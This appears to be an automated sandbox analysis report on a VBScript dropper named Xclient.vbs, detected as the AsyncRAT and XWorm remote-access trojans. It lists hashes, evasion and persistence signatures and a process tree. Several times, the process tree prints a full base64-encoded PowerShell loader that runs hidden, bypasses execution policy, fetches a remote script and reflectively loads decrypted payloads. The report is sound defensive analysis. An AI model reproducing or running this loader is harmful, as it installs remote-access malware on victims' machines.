Edit tour

Windows Analysis Report
Xclient.vbs

Overview

General Information

Sample name:	Xclient.vbs
Analysis ID:	1615978
MD5:	37c408a159618ed1ceb1dd3bc6ec4d5f
SHA1:	a9e709795198f402248ae5f5ec92e761955ad4e9
SHA256:	07b844c4d1fa8600a4cd089adab45c9718629cf4258eb86acbaecba77cb5a0be
Tags:	vbsuser-d1v35h
Infos:

Detection

AsyncRAT, XWorm

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Suricata IDS alerts for network traffic

VBScript performs obfuscated calls to suspicious functions

Yara detected AsyncRAT

Yara detected XWorm

.NET source code contains a sample name check

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Check if machine is in data center or colocation facility

Contains functionality to capture screen (.Net source)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses shutdown.exe to shutdown or reboot the system

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Spawns drivers

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7292 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7348 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7400 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7456 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xpbmUpO2ZvcmVhY2ggKCRyZmcgaW4gJGNtdGt0KSB7CWlmICgkcmZnLlN0YXJ0c1dpdGgoJzo6JykpCXsJCSR3bHFpcD0kcmZnLlN1YnN0cmluZygyKTsJCWJyZWFrOwl9fSRla2Nmbj1bc3RyaW5nW11dJHdscWlwLlNwbGl0KCdcJyk7SUVYICckanhpY3M9aWxneWUgKGtkYXV0IChbQUJDQ0FCQ29BQkNuQUJDdkFCQ2VBQkNydF06OkFCQ0ZBQkNyQUJDb0FCQ21BQkNCQUJDYUFCQ3NlNkFCQzRBQkNTQUJDdEFCQ3JpQUJDbkFCQ2dBQkMoJGVrY2ZuWzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHVncXJqPWlsZ3llIChrZGF1dCAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDckFCQ3RdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzQUJDZUFCQzZBQkM0QUJDU0FCQ3RyQUJDaUFCQ25BQkNnKCRla2NmblsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt6Z3d3dyAkanhpY3MgJG51bGw7emd3d3cgJHVncXJqICgsW3N0cmluZ1tdXSAoJyVBQkMnKSk7')) | Invoke-Expression" MD5: 04029E121A0CFA5991749937DD22A1D9)

shutdown.exe (PID: 3452 cmdline: shutdown.exe -L MD5: F2A4E18DA72BB2C5B21076A5DE382A20)

cmd.exe (PID: 7800 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7852 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7900 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xpbmUpO2ZvcmVhY2ggKCRyZmcgaW4gJGNtdGt0KSB7CWlmICgkcmZnLlN0YXJ0c1dpdGgoJzo6JykpCXsJCSR3bHFpcD0kcmZnLlN1YnN0cmluZygyKTsJCWJyZWFrOwl9fSRla2Nmbj1bc3RyaW5nW11dJHdscWlwLlNwbGl0KCdcJyk7SUVYICckanhpY3M9aWxneWUgKGtkYXV0IChbQUJDQ0FCQ29BQkNuQUJDdkFCQ2VBQkNydF06OkFCQ0ZBQkNyQUJDb0FCQ21BQkNCQUJDYUFCQ3NlNkFCQzRBQkNTQUJDdEFCQ3JpQUJDbkFCQ2dBQkMoJGVrY2ZuWzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHVncXJqPWlsZ3llIChrZGF1dCAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDckFCQ3RdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzQUJDZUFCQzZBQkM0QUJDU0FCQ3RyQUJDaUFCQ25BQkNnKCRla2NmblsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt6Z3d3dyAkanhpY3MgJG51bGw7emd3d3cgJHVncXJqICgsW3N0cmluZ1tdXSAoJyVBQkMnKSk7')) | Invoke-Expression" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8156 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 2852 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3752 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3152 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xpbmUpO2ZvcmVhY2ggKCRyZmcgaW4gJGNtdGt0KSB7CWlmICgkcmZnLlN0YXJ0c1dpdGgoJzo6JykpCXsJCSR3bHFpcD0kcmZnLlN1YnN0cmluZygyKTsJCWJyZWFrOwl9fSRla2Nmbj1bc3RyaW5nW11dJHdscWlwLlNwbGl0KCdcJyk7SUVYICckanhpY3M9aWxneWUgKGtkYXV0IChbQUJDQ0FCQ29BQkNuQUJDdkFCQ2VBQkNydF06OkFCQ0ZBQkNyQUJDb0FCQ21BQkNCQUJDYUFCQ3NlNkFCQzRBQkNTQUJDdEFCQ3JpQUJDbkFCQ2dBQkMoJGVrY2ZuWzBdKSkpOycuUmVwbGFjZSgnQUJDJywgJycpO0lFWCAnJHVncXJqPWlsZ3llIChrZGF1dCAoW0FCQ0NBQkNvQUJDbkFCQ3ZBQkNlQUJDckFCQ3RdOjpBQkNGQUJDckFCQ29BQkNtQUJDQkFCQ2FBQkNzQUJDZUFCQzZBQkM0QUJDU0FCQ3RyQUJDaUFCQ25BQkNnKCRla2NmblsxXSkpKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt6Z3d3dyAkanhpY3MgJG51bGw7emd3d3cgJHVncXJqICgsW3N0cmluZ1tdXSAoJyVBQkMnKSk7')) | Invoke-Expression" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 5936 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7088 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7360 cmdline: C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7312 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5D